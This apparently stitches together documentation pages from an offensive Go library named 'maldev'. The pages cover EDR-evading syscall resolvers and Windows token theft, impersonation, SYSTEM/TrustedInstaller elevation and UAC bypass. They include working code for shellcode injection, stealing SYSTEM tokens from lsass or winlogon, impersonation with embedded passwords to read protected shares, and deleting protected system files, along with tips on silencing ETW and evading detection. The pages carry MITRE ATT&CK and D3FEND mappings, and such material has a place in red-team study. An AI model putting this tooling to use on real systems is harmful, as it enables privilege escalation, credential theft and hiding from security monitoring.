"NtAllocateVirtualMemory"string anywhere in the binary. Falls back to Hell's Gate for SSN extraction once the address is found. - Chain — compose resolvers (e.g. Tartarus → HashGate → Halo's); first success wins, giving layered resilience without reimplementing the strategies individually.
How Each Resolver Works
The ntdll Prologue
Every unhooked NT function in ntdll starts with the same byte pattern:
4C 8B D1 mov r10, rcx ; save first argument
B8 XX XX 00 00 mov eax, <SSN> ; load syscall number
...
0F 05 syscall ; enter kernel
C3 ret
The SSN is the two bytes at offset +4 and +5. All resolvers ultimately extract these bytes.
Decision Tree
flowchart TD
START["Need SSN for\nNtXxxFunction"] --> CHECK{"Is the prologue\nintact?\n(4C 8B D1 B8)"}
CHECK -->|"Yes, bytes match"| HELLS["HellsGate\nRead SSN directly\nfrom bytes 4-5"]
CHECK -->|"No, bytes modified"| HOOKTYPE{"What replaced\nthe prologue?"}
HOOKTYPE -->|"E9 xx xx xx xx\n(near JMP)"| TART_JMP["TartarusGate\nFollow JMP displacement\nto trampoline code"]
HOOKTYPE -->|"EB xx\n(short JMP)"| TART_SHORT["TartarusGate\nFollow short JMP\nto trampoline"]
HOOKTYPE -->|"Unknown patch\n(INT3, NOP sled, etc.)"| HALOS["HalosGate\nScan neighboring stubs\n(+/- 500 * 32 bytes)"]
TART_JMP --> TRAMP{"Trampoline has\nmov eax, imm32?"}
TART_SHORT --> TRAMP
TRAMP -->|"Yes, found B8 XX XX"| TART_OK["SSN extracted\nfrom trampoline"]
TRAMP -->|"No, unrecognized code"| HALOS
HALOS --> NEIGHBOR{"Found unhooked\nneighbor within\n500 stubs?"}
NEIGHBOR -->|"Yes: neighbor SSN = X\nat offset N"| CALC["Target SSN =\nX +/- N"]
NEIGHBOR -->|"No neighbors\nunhooked"| FAIL["Resolution failed"]
HELLS --> SUCCESS["SSN resolved"]
TART_OK --> SUCCESS
CALC --> SUCCESS
style SUCCESS fill:#4a9,color:#fff
style FAIL fill:#f66,color:#fff
style HELLS fill:#49a,color:#fff
style HALOS fill:#a94,color:#fff
style TART_JMP fill:#94a,color:#fff
style TART_SHORT fill:#94a,color:#fff
Hell's Gate
The simplest resolver. Reads the SSN directly from the unhooked function prologue.
flowchart LR
A["ntdll!NtCreateThreadEx"] --> B["Read bytes 0-7"]
B --> C{"4C 8B D1 B8?"}
C -->|Yes| D["SSN = bytes[4] | bytes[5]<<8"]
C -->|No| E["ERROR: hooked"]
style D fill:#4a9,color:#fff
style E fill:#f66,color:#fff
When to use: You know ntdll is not hooked (e.g., you loaded a fresh copy from disk, or the target has no EDR).
Fails when: Any EDR has patched the function prologue (the most common hooking strategy).
Halo's Gate
Extends Hell's Gate by exploiting the fact that SSNs are sequential in ntdll. If NtCreateThreadEx is hooked but the function 3 stubs above it (NtCreateFile, SSN=0x55) is not, then NtCreateThreadEx's SSN is 0x55 + 3.
flowchart TD
A["Target: NtCreateThreadEx\n(hooked, can't read SSN)"] --> B["Scan UP: addr - 32"]
A --> C["Scan DOWN: addr + 32"]
B --> D{"Unhooked?\n4C 8B D1 B8?"}
C --> E{"Unhooked?\n4C 8B D1 B8?"}
D -->|"Yes at offset -3"| F["Neighbor SSN = 0x55\nTarget = 0x55 + 3 = 0x58"]
E -->|"Yes at offset +2"| G["Neighbor SSN = 0x5A\nTarget = 0x5A - 2 = 0x58"]
D -->|No| H["Try next neighbor\n(up to 500)"]
E -->|No| H
style F fill:#4a9,color:#fff
style G fill:#4a9,color:#fff
When to use: EDR hooks your target function but leaves some neighbors unhooked.
Fails when: All 1000 neighboring stubs (500 up, 500 down) are hooked. Extremely unlikely in practice.
Tartarus Gate
Extends Hell's and Halo's Gate by understanding JMP hooks. When an EDR patches a function with E9 xx xx xx xx (near JMP) or EB xx (short JMP), Tartarus follows the jump to the EDR's trampoline code. The trampoline typically restores the original mov eax, <SSN> instruction before executing the syscall, so Tartarus scans the trampoline for the B8 XX XX pattern.
flowchart TD
A["Target function bytes:\nE9 4F 01 00 00 ..."] --> B["Near JMP detected"]
B --> C["displacement = 0x0000014F"]
C --> D["hookDest = addr + 5 + displacement"]
D --> E["Scan trampoline\nfor B8 XX XX pattern"]
E -->|"Found at offset +12"| F["SSN = trampoline[13] |\ntrampoline[14]<<8"]
E -->|"Not found"| G["Fall back to\nHalo's Gate scanning"]
style F fill:#4a9,color:#fff
style G fill:#a94,color:#fff
When to use: Default choice for maximum resilience. Handles unhooked, JMP-hooked, and partially hooked ntdll.
Fails when: The trampoline code does not contain a recognizable mov eax, imm32 AND all neighbors are also hooked.
HashGate
Resolves the function address via PEB walk + ROR13 export hashing instead of ntdll.NewProc(name). This eliminates string-based resolution entirely -- no "NtAllocateVirtualMemory" in the binary.
Once the function address is found via hash, SSN extraction uses the same Hell's Gate prologue check.
flowchart TD
A["Function name:\nNtCreateThreadEx"] --> B["ROR13 hash:\n0x4D1DEB74"]
B --> C["PEB walk:\nfind ntdll base via\nmodule hash 0x411677B7"]
C --> D["Walk PE exports:\nhash each name with ROR13"]
D --> E{"Hash matches\n0x4D1DEB74?"}
E -->|Yes| F["Function address found"]
F --> G{"Prologue intact?\n4C 8B D1 B8?"}
G -->|Yes| H["SSN extracted"]
G -->|No| I["ERROR: hooked\n(no neighbor scanning)"]
style H fill:#4a9,color:#fff
style I fill:#f66,color:#fff
style B fill:#a94,color:#fff
When to use: When you need string-free resolution. Combine with Chain() for hook resilience.
Fails when: The function is hooked (no neighbor scanning built in -- use Chain() with HalosGate for fallback).
Usage
Individual Resolvers
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Hell's Gate -- fast, simple, fails on hooked functions
hg := wsyscall.NewHellsGate()
ssn, err := hg.Resolve("NtCreateThreadEx")
// Halo's Gate -- neighbor scanning fallback
hag := wsyscall.NewHalosGate()
ssn, err := hag.Resolve("NtCreateThreadEx")
// Tartarus Gate -- JMP hook trampoline + neighbor fallback
tg := wsyscall.NewTartarus()
ssn, err := tg.Resolve("NtCreateThreadEx")
// HashGate -- string-free PEB walk resolution
hgr := wsyscall.NewHashGate()
ssn, err := hgr.Resolve("NtCreateThreadEx")
Chain: Compose Resolvers
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Try Tartarus first (handles JMP hooks), fall back to HashGate,
// then Halo's Gate as last resort
resolver := wsyscall.Chain(
wsyscall.NewTartarus(),
wsyscall.NewHashGate(),
wsyscall.NewHalosGate(),
)
caller := wsyscall.New(wsyscall.MethodIndirect, resolver)
defer caller.Close()
ret, err := caller.Call("NtAllocateVirtualMemory", /* args... */)
With Injection Pipeline
import (
"context"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Resilient resolver chain for hostile EDR environments
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(
wsyscall.NewTartarus(),
wsyscall.NewHalosGate(),
),
)
defer caller.Close()
pipe := inject.NewPipeline(caller)
err := pipe.Inject(context.Background(), shellcode,
inject.WithMethod(inject.MethodCreateThread),
)
Combined Example: Resolver Resilience Test
package main
import (
"fmt"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
functions := []string{
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWriteVirtualMemory",
}
resolvers := map[string]wsyscall.SSNResolver{
"HellsGate": wsyscall.NewHellsGate(),
"HalosGate": wsyscall.NewHalosGate(),
"TartarusGate": wsyscall.NewTartarus(),
"HashGate": wsyscall.NewHashGate(),
}
for name, resolver := range resolvers {
fmt.Printf("\n--- %s ---\n", name)
for _, fn := range functions {
ssn, err := resolver.Resolve(fn)
if err != nil {
fmt.Printf(" %s: FAILED (%v)\n", fn, err)
} else {
fmt.Printf(" %s: SSN=0x%04X\n", fn, ssn)
}
}
}
}
Advantages & Limitations
Advantages
- Layered resilience:
Chain()composes resolvers so the first successful one wins - JMP-hook aware: Tartarus Gate follows EDR trampolines that other resolvers cannot handle
- String-free option: HashGate eliminates all plaintext function names
- Zero external dependencies: Pure Go + unsafe pointer arithmetic, no CGo or assembly files
- Thread-safe: HashGate uses
sync.Oncefor lazy initialization; Caller usessync.Mutexfor stubs
Limitations
- Hell's Gate: Fails on any hooked function -- too fragile for production use alone
- Halo's Gate: Assumes 32-byte stub alignment -- non-standard ntdll layouts break it
- Tartarus Gate: Cannot handle inline hooks that do not contain a recognizable
mov eax, imm32 - HashGate: No hook resilience -- combine with Halo's/Tartarus via
Chain()for robustness - All resolvers: x64 only; SSN offsets and stub layouts differ on x86 and ARM64
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/syscall is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Syscalls area README
syscalls/api-hashing.md— HashGate uses these primitives to find Nt* exportssyscalls/direct-indirect.md— once the SSN is known, this is how the syscall fires
Token Manipulation
The win/token, win/impersonate, win/privilege, and privesc/uac packages provide Windows token manipulation: stealing tokens from other processes, thread impersonation, privilege escalation, and UAC bypass.
Architecture Overview
graph TD
subgraph "win/token"
STEAL["Steal(pid)"]
STEALNAME["StealByName(name)"]
STEALDUP["StealViaDuplicateHandle()"]
OPEN["OpenProcessToken()"]
INTERACTIVE["Interactive()"]
PRIV["EnableAllPrivileges()"]
TOKEN["*Token"]
STEAL --> TOKEN
STEALNAME --> STEAL
STEALDUP --> TOKEN
OPEN --> TOKEN
INTERACTIVE --> TOKEN
TOKEN --> PRIV
end
subgraph "win/impersonate"
LOGON["LogonUserW()"]
IMP["ImpersonateLoggedOnUser()"]
THREAD["ImpersonateThread()"]
THREAD --> LOGON --> IMP
end
subgraph "win/privilege"
ISADMIN["IsAdmin()"]
EXECAS["ExecAs()"]
LOGONCREATE["CreateProcessWithLogon()"]
RUNAS["ShellExecuteRunAs()"]
end
subgraph "privesc/uac"
FOD["FODHelper()"]
SLUI["SLUI()"]
SILENT["SilentCleanup()"]
EVT["EventVwr()"]
end
TOKEN -.->|"used by"| THREAD
TOKEN -.->|"used by"| EXECAS
Where to start (novice path):
win/token—Steal(pid)/StealByName. Grab another process's token (typically winlogon's SYSTEM token) and impersonate. Foundation everything else builds on.win/impersonate—LogonUser-based impersonation when you have plaintext creds (vs token theft).win/privilege— enable specific privileges in the current token (SeDebugPrivilegefor LSASS access,SeBackupPrivilegeforreg save).privesc/uac— UAC bypass methods (FODHelper, ComputerDefaults, sdclt, etc.) when you're Medium-IL and need High-IL.
Documentation
| Document | Description |
|---|---|
| Token Theft | Steal, StealByName, StealViaDuplicateHandle |
| Thread Impersonation | LogonUserW + ImpersonateLoggedOnUser |
| Privilege Escalation | ExecAs, CreateProcessWithLogon, UAC bypass |
Quick decision tree
| You want to… | Use |
|---|---|
| …steal a primary token from another PID | token-theft.md — Steal(pid) |
| …steal a token by process name | token-theft.md — StealByName(name) |
…run code as domain\user with credentials | impersonation.md — ImpersonateThread |
…run code as NT AUTHORITY\SYSTEM | impersonation.md — GetSystem (winlogon clone) |
…run code as TrustedInstaller | impersonation.md — GetTrustedInstaller |
…enable SeDebugPrivilege (or any SeXxx) on the current token | privilege-escalation.md — EnablePrivilege |
| …spawn a child process under alternate credentials | privilege-escalation.md — ExecAs(...) |
| …check if I'm admin / elevated right now | privilege-escalation.md — IsAdmin() |
| …trigger a UAC consent prompt and elevate | privilege-escalation.md — ShellExecuteRunAs |
MITRE ATT&CK
| Technique | ID | Description |
|---|---|---|
| Access Token Manipulation | T1134 | Token theft and manipulation |
| Token Impersonation/Theft | T1134.001 | Thread impersonation |
| Abuse Elevation Control Mechanism: UAC Bypass | T1548.002 | FODHelper, SLUI, SilentCleanup, EventVwr |
D3FEND Countermeasures
| Countermeasure | ID | Description |
|---|---|---|
| Token Authentication and Authorization Normalization | D3-TAAN | Monitor token manipulation |
| User Account Profiling | D3-UAP | Detect privilege escalation |
See also
tokens/token-theft.md— open + duplicate primary tokenstokens/impersonation.md— run code under a stolen contexttokens/privilege-escalation.md— adjust SeXxx privilegessyscallstechniques (index) — sibling Layer-1 area
Token Stealing
MITRE ATT&CK: T1134 - Access Token Manipulation D3FEND: D3-TAAN - Token Authentication and Authorization Normalization
TL;DR
You're admin (or have SeDebugPrivilege) and want to act as
SYSTEM (or as another user). Steal their token, use it to
spawn a process as them.
| You want to… | Use | Result |
|---|---|---|
Get a SYSTEM token from winlogon.exe / lsass.exe | StealFromProcess | Token handle ready for impersonation or process spawn |
| Spawn a process AS that user | CreateProcessWithToken | New process running with the stolen token |
| Just impersonate on the current thread | Pair with tokens/impersonation | Per-thread; reverts when done |
What this DOES achieve:
- SYSTEM-level access from any admin starting point. Once
you have a SYSTEM token +
CreateProcessWithToken, you can spawn an implant that runs as SYSTEM with no UAC prompt. - Original process unaffected — duplication, not transfer.
- Composes with
tokens/impersonationfor per-thread use.
What this does NOT achieve:
- Needs
SeDebugPrivilege— admin token has it disabled by default; enable viaprocess/session.EnableSeDebugPrivilegefirst. Standard user can't steal high-priv tokens. - Loud —
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE)onlsass.exeis the textbook EDR trigger for credential access. Pair withevasion/preset.Stealthto silence ETW first. - Doesn't bypass kernel callbacks —
PsSetCreateProcessNotifyfires when you spawn the new process. EDR sees a high-integrity process spawned by your medium-integrity one — anomaly. - Per-process, not per-domain — token theft = local identity transfer. For domain access, the stolen token needs network logon credentials inside it (interactive logons usually do; service tokens often don't).
Primer
Every process on Windows runs under a security token that defines who it is and what it can do. A SYSTEM process has a powerful token; a regular user process has a limited one.
Stealing someone's employee badge to access restricted areas. Token theft duplicates the security token from a high-privilege process (like lsass.exe or winlogon.exe) and uses it to create new processes or perform actions with that identity. The original process is unaffected -- you have a copy of its badge.
How It Works
Token Theft Flow
sequenceDiagram
participant Attacker as "Attacker Process"
participant Target as "Target Process (SYSTEM)"
participant Kernel as "Windows Kernel"
Attacker->>Kernel: OpenProcess(PROCESS_QUERY_INFORMATION, targetPID)
Kernel-->>Attacker: Process handle
Attacker->>Kernel: OpenProcessToken(handle, TOKEN_DUPLICATE|TOKEN_QUERY)
Kernel-->>Attacker: Token handle
Attacker->>Kernel: DuplicateTokenEx(token, TOKEN_ALL_ACCESS,<br>SecurityImpersonation, TokenPrimary)
Kernel-->>Attacker: Duplicated token (new handle)
Note over Attacker: Now holds a SYSTEM-level<br>primary token
Attacker->>Kernel: CreateProcessAsUser(dupToken, "cmd.exe")
Note over Attacker: New cmd.exe runs as SYSTEM
Three Theft Methods
flowchart TD
START["Need a token"] --> Q1{"Know the\nprocess PID?"}
Q1 -->|Yes| STEAL["Steal(pid)\nOpen process -> Open token -> Duplicate"]
Q1 -->|No| Q2{"Know the\nprocess name?"}
Q2 -->|Yes| STEALNAME["StealByName(name)\nEnum processes -> Find PID -> Steal"]
Q2 -->|No| Q3{"Have process\nhandle with\nDUP_HANDLE?"}
Q3 -->|Yes| DUPHANDLE["StealViaDuplicateHandle()\nDuplicate remote handle -> Duplicate token"]
Q3 -->|No| INTERACTIVE["Interactive(type)\nWTS session -> QueryUserToken"]
STEAL --> TOKEN["*Token"]
STEALNAME --> TOKEN
DUPHANDLE --> TOKEN
INTERACTIVE --> TOKEN
style STEAL fill:#4a9,color:#fff
style STEALNAME fill:#49a,color:#fff
style DUPHANDLE fill:#94a,color:#fff
style INTERACTIVE fill:#a94,color:#fff
DuplicateHandle Bypass
The StealViaDuplicateHandle technique bypasses the token's DACL by duplicating a handle from the remote process's handle table, rather than opening the token directly:
flowchart LR
subgraph "Standard Steal"
A1["OpenProcess"] --> A2["OpenProcessToken"]
A2 -->|"DACL check"| A3["Token"]
A2 -.->|"ACCESS_DENIED\n(protected process)"| FAIL1["Failed"]
end
subgraph "DuplicateHandle Bypass"
B1["OpenProcess\n(PROCESS_DUP_HANDLE)"] --> B2["NtQuerySystemInformation\n(find token handles)"]
B2 --> B3["DuplicateHandle\n(bypass DACL)"]
B3 --> B4["DuplicateTokenEx"]
B4 --> B5["Token"]
end
style FAIL1 fill:#f66,color:#fff
style B5 fill:#4a9,color:#fff
Usage
Steal by PID
import "github.com/oioio-space/maldev/win/token"
// Steal SYSTEM token from lsass.exe (PID 680)
tok, err := token.Steal(680)
if err != nil {
log.Fatal(err)
}
defer tok.Close()
// Check the identity
details, _ := tok.UserDetails()
fmt.Println(details.Username) // "SYSTEM"
Steal by Process Name
// Find and steal token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
log.Fatal(err)
}
defer tok.Close()
// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "System"
Steal via DuplicateHandle
import (
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/win/ntapi"
"github.com/oioio-space/maldev/win/token"
)
// Open process with PROCESS_DUP_HANDLE
hProcess, _ := windows.OpenProcess(
windows.PROCESS_DUP_HANDLE, false, targetPID,
)
defer windows.CloseHandle(hProcess)
// Find token handle in remote process via NtQuerySystemInformation
// (remoteTokenHandle discovered via ntapi.FindHandleByType)
var remoteTokenHandle uintptr = 0x1234
tok, err := token.StealViaDuplicateHandle(hProcess, remoteTokenHandle)
if err != nil {
log.Fatal(err)
}
defer tok.Close()
Token Privilege Management
tok, _ := token.Steal(targetPID)
defer tok.Close()
// Enable all privileges
tok.EnableAllPrivileges()
// Enable specific privilege
tok.EnablePrivilege("SeDebugPrivilege")
// List all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
fmt.Println(p) // "SeDebugPrivilege: Enabled"
}
// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "High", "System", etc.
Combined Example: Token Theft + Process Creation
package main
import (
"fmt"
"github.com/oioio-space/maldev/win/privilege"
"github.com/oioio-space/maldev/win/token"
)
func main() {
// Check if we are admin
isAdmin, isElevated, _ := privilege.IsAdmin()
fmt.Printf("Admin: %v, Elevated: %v\n", isAdmin, isElevated)
// Steal SYSTEM token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
fmt.Println("Token theft failed:", err)
return
}
defer tok.Close()
// Enable SeDebugPrivilege on the stolen token
tok.EnablePrivilege("SeDebugPrivilege")
// Verify identity
details, _ := tok.UserDetails()
fmt.Printf("Stolen identity: %s\\%s\n", details.Domain, details.Username)
level, _ := tok.IntegrityLevel()
fmt.Println("Integrity:", level)
// Use the token to list all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
if p.Enabled {
fmt.Println(" [+]", p.Name)
}
}
}
Advantages & Limitations
Advantages
- Three theft methods: Direct PID, by name, and DuplicateHandle bypass cover most scenarios
- Full privilege management: Enable, disable, remove individual or all privileges
- DuplicateHandle bypass: Circumvents token DACL restrictions on protected processes
- Token introspection: UserDetails, IntegrityLevel, Privileges, LinkedToken
- Detach for lifetime management:
tok.Detach()transfers handle ownership to caller
Limitations
- SeDebugPrivilege required: Stealing from SYSTEM processes requires debug privilege
- Process must be accessible: Cannot steal from PPL (Protected Process Light) without kernel exploit
- Token is a copy: Changes to the stolen token do not affect the original process
- Detectable: OpenProcess + OpenProcessToken is logged by ETW and most EDR products
- Session 0 isolation: SYSTEM tokens from Session 0 cannot interact with the user desktop
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/token is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Tokens area README
tokens/impersonation.md— consume the stolen handle to run code as the targettokens/privilege-escalation.md— adjust privileges before / after impersonation
Thread Impersonation
MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft D3FEND: D3-TAAN - Token Authentication and Authorization Normalization
TL;DR
You stole / borrowed another user's token (via token-theft
or LogonUserW). To USE that token for an operation (open a
file as them, hit an SMB share with their creds), you attach
it to a thread — that thread now acts as that user until you
revert.
| You want… | Use | Scope |
|---|---|---|
| Run a callback as another user | As | One callback's lifetime; auto-revert |
| Long-lived impersonation across calls | ImpersonateLoggedOnUser + manual revert | Until RevertToSelf |
| Per-thread, parallel impersonations | runtime.LockOSThread + As per goroutine | One per OS thread |
What this DOES achieve:
- Network operations (SMB, WinRM, MSRPC) authenticate as the impersonated user — useful for accessing shares your current token can't reach.
- File / registry access checks against the impersonated token's ACLs.
- Scoped + reversible — the token attaches to ONE thread, not the whole process.
What this does NOT achieve:
- Doesn't change WHO the process is — Process Hacker / Sysmon EID 1 still see your real user. Impersonation is per-thread and per-API-call.
- Goroutine ↔ OS-thread mismatch — Go's scheduler can
move your goroutine onto a different OS thread mid-call,
losing the impersonation.
runtime.LockOSThreadis mandatory beforeImpersonateLoggedOnUser. - Doesn't survive
CreateProcess— child processes inherit the PROCESS token, not the THREAD token. To spawn AS the impersonated user, usetoken-theft'sCreateProcessWithTokenpath instead. SeImpersonatePrivilegerequired — most service accounts have it; standard user does not. Check before trying.
Primer
Token theft gives you a copy of someone else's badge. Thread impersonation goes further -- it lets a specific thread in your process temporarily wear that badge to perform actions as that user, then revert back to your original identity.
Temporarily wearing someone else's uniform for a specific task. You log in as another user (with their credentials), impersonate their identity on a locked OS thread, do the work, then call RevertToSelf() to become yourself again. The impersonation is scoped to a single thread and automatically cleaned up.
How It Works
Impersonation Flow
sequenceDiagram
participant Thread as "Locked OS Thread"
participant Win as "Windows API"
participant Callback as "callbackFunc()"
Thread->>Thread: runtime.LockOSThread()
Note over Thread: Thread pinned to OS thread
Thread->>Win: LogonUserW(user, domain, password)
Win-->>Thread: Token handle
Thread->>Win: EnableAllPrivileges(token)
Thread->>Win: ImpersonateLoggedOnUser(token)
Note over Thread: Thread now runs as<br>the impersonated user
Thread->>Callback: callbackFunc()
Note over Callback: All operations use<br>impersonated identity
Callback-->>Thread: return
Thread->>Win: RevertToSelf()
Note over Thread: Thread identity restored
Thread->>Thread: runtime.UnlockOSThread()
Thread->>Win: token.Close()
Why LockOSThread is Required
flowchart TD
subgraph "Without LockOSThread (BROKEN)"
A1["goroutine calls\nImpersonateLoggedOnUser"] --> A2["Go scheduler moves\ngoroutine to OS Thread 2"]
A2 --> A3["OS Thread 1 still impersonating\nOS Thread 2 is NOT impersonating"]
A3 --> A4["Operations use WRONG identity"]
end
subgraph "With LockOSThread (CORRECT)"
B1["goroutine calls\nruntime.LockOSThread()"] --> B2["goroutine calls\nImpersonateLoggedOnUser"]
B2 --> B3["Go scheduler CANNOT\nmove this goroutine"]
B3 --> B4["All operations on\nimpersonated OS thread"]
B4 --> B5["RevertToSelf()"]
B5 --> B6["runtime.UnlockOSThread()"]
end
style A4 fill:#f66,color:#fff
style B4 fill:#4a9,color:#fff
Usage
Basic Thread Impersonation
import "github.com/oioio-space/maldev/win/impersonate"
err := impersonate.ImpersonateThread(
false, // not domain-joined
".", // local machine
"admin", // username
"Password123!", // password
func() error {
// Everything in this callback runs as "admin"
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// Perform privileged operations here
return nil
},
)
Domain Impersonation
err := impersonate.ImpersonateThread(
true, // domain-joined
"CORP", // domain name
"svc_backup", // domain user
"BackupP@ss2024!", // password
func() error {
// Running as CORP\svc_backup
// Access network shares, domain resources, etc.
return nil
},
)
Low-Level: LogonUserW + ImpersonateLoggedOnUser
import (
"runtime"
"github.com/oioio-space/maldev/win/impersonate"
"github.com/oioio-space/maldev/win/token"
"golang.org/x/sys/windows"
)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Log in as another user
t, err := impersonate.LogonUserW(
"admin", ".", "Password123!",
impersonate.LOGON32_LOGON_INTERACTIVE,
impersonate.LOGON32_PROVIDER_DEFAULT,
)
if err != nil {
log.Fatal(err)
}
wt := token.New(t, token.Impersonation)
defer wt.Close()
// Enable privileges on the token
wt.EnableAllPrivileges()
// Impersonate on this thread
impersonate.ImpersonateLoggedOnUser(wt.Token())
defer windows.RevertToSelf()
// Perform actions as the impersonated user
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Impersonating: %s\\%s\n", domain, user)
Combined Example: Impersonate + Access Protected Resource
package main
import (
"fmt"
"os"
"github.com/oioio-space/maldev/win/impersonate"
)
func main() {
// Check current identity
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Before: %s\\%s\n", domain, user)
// Impersonate a service account to read a protected file
err := impersonate.ImpersonateThread(
true, // domain account
"CORP",
"svc_fileserver",
"FileServ!2024",
func() error {
// Running as CORP\svc_fileserver
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("During: %s\\%s\n", domain, user)
// Read a file only accessible to svc_fileserver
data, err := os.ReadFile(`\\fileserver\share$\sensitive.dat`)
if err != nil {
return err
}
fmt.Printf("Read %d bytes from protected share\n", len(data))
return nil
},
)
if err != nil {
fmt.Println("Impersonation failed:", err)
}
// Back to original identity
user, domain, _ = impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("After: %s\\%s\n", domain, user)
}
Advantages & Limitations
Advantages
- Scoped impersonation:
ImpersonateThreadhandles LockOSThread + RevertToSelf automatically - Privilege escalation:
EnableAllPrivilegescalled on the token before impersonation - Domain support: Works with both local and domain accounts
- errgroup integration: Uses
golang.org/x/sync/errgroupfor clean error propagation - Thread safety:
runtime.LockOSThread()ensures impersonation stays on the correct OS thread
Limitations
- Requires credentials: Needs plaintext username and password (not a token)
- Logon type limitations:
LOGON32_LOGON_INTERACTIVErequires "Allow log on locally" right - Network logon restrictions: Local accounts cannot access network resources via type 2 logon
- Detectable:
LogonUserWcreates logon events (Event ID 4624) in the Security log - Single thread: Only the locked OS thread is impersonated -- other goroutines run as the original user
Composable Elevation
The impersonate package provides composable elevation primitives that chain
together: ImpersonateByPID is the building block, GetSystem uses it to
reach SYSTEM via winlogon.exe, and GetTrustedInstaller composes GetSystem
with the TrustedInstaller service to reach the highest privilege level.
All three follow the callback pattern -- the elevated identity is scoped to the callback and automatically reverted when it returns.
ImpersonateByPID
Steal and impersonate the token of any process by PID. Requires SeDebugPrivilege for cross-session processes.
import "github.com/oioio-space/maldev/win/impersonate"
// Impersonate the token of PID 1234
err := impersonate.ImpersonateByPID(1234, func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
return nil
})
GetSystem
Elevate to NT AUTHORITY\SYSTEM by stealing the winlogon.exe token. Requires admin + SeDebugPrivilege.
err := impersonate.GetSystem(func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// NT AUTHORITY\SYSTEM — full kernel-level access
return nil
})
GetTrustedInstaller
Elevate to NT SERVICE\TrustedInstaller -- the highest privilege level on
Windows. Internally composes GetSystem (to open the TI service process)
with ImpersonateByPID (to steal the TI token). Requires admin +
SeDebugPrivilege.
err := impersonate.GetTrustedInstaller(func() error {
user, _, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\n", user) // TrustedInstaller
// Modify protected system files, registry keys, etc.
return nil
})
Composition Example
// Chain: admin -> SYSTEM -> TrustedInstaller -> back to admin
// All within a single function call
err := impersonate.GetTrustedInstaller(func() error {
// Delete a protected system file
return os.Remove(`C:\Windows\System32\protected.dll`)
})
// Thread has reverted to original identity here
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/impersonate is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Tokens area README
tokens/token-theft.md— supplies the stolen handle this primitive impersonates withtokens/privilege-escalation.md— once impersonated, adjust privileges on the new context
Privilege Escalation
MITRE ATT&CK: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control D3FEND: D3-UAP - User Account Profiling
TL;DR
You're an admin account but your process runs at Medium IL (default user-mode posture; UAC didn't elevate you). To run as High IL without showing a UAC prompt, hijack one of Windows's auto-elevating binaries (fodhelper, sdclt, eventvwr, etc.).
| You want to… | Use | Cost |
|---|---|---|
| Bypass UAC via fodhelper registry hijack | FodhelperBypass | One registry write (HKCU) — fodhelper auto-elevates and reads back the value |
| Discover other auto-elevate hijack candidates programmatically | recon/dllhijack.ScanAutoElevate | Cross-references autoElevate manifest + writable search paths |
What this DOES achieve:
- High IL (admin's full token) without UAC consent dialog — the auto-elevating binary runs your payload as part of its normal flow.
- HKCU write only — no admin needed BEFORE the bypass; you use HKCU to redirect HKCR lookups that fodhelper makes.
- Reverses cleanly — delete the registry key after the bypass fires.
What this does NOT achieve:
- Doesn't work on Always-Notify UAC — when UAC slider is at the top, even auto-elevate binaries prompt. Default setting is one notch lower; bypass works there.
- Detected by mature EDR — Microsoft Defender catches fodhelper UAC bypass since 2019; CrowdStrike / SentinelOne same. Use as a stepping stone in lab work, not as primary privesc on hardened hosts.
- Already-admin token required — bypasses elevate
Medium-IL admin to High-IL admin. They do NOT escalate
standard user → admin. For that, see kernel exploits
(e.g.,
privesc/cve202430088). - Microsoft patches these — every documented bypass has a finite shelf life. fodhelper, sdclt, eventvwr have all been patched at least once each. Check current Windows build before relying.
Primer
Even if you have an administrator account on Windows, your processes run with limited privileges by default. User Account Control (UAC) prevents automatic elevation -- you need to explicitly "Run as administrator" for each program.
Convincing the system you are the boss so you can access everything. Privilege escalation bypasses UAC by exploiting auto-elevating Windows programs (like fodhelper.exe) that run as high-integrity without prompting. You hijack their behavior to execute your code with elevated privileges.
How It Works
Escalation Methods
flowchart TD
START["Need elevated\nprivileges"] --> Q1{"Have user\ncredentials?"}
Q1 -->|Yes| Q2{"Need separate\nprocess?"}
Q2 -->|"Yes (exec.Cmd)"| EXECAS["ExecAs()\nLogonUserW + SysProcAttr.Token"]
Q2 -->|"Yes (CreateProcess)"| LOGON["CreateProcessWithLogon()\nCreateProcessWithLogonW"]
Q2 -->|"No (same process)"| IMP["ImpersonateThread()\n(see impersonation.md)"]
Q1 -->|No| Q3{"UAC prompt\nacceptable?"}
Q3 -->|Yes| RUNAS["ShellExecuteRunAs()\n'runas' verb + UAC dialog"]
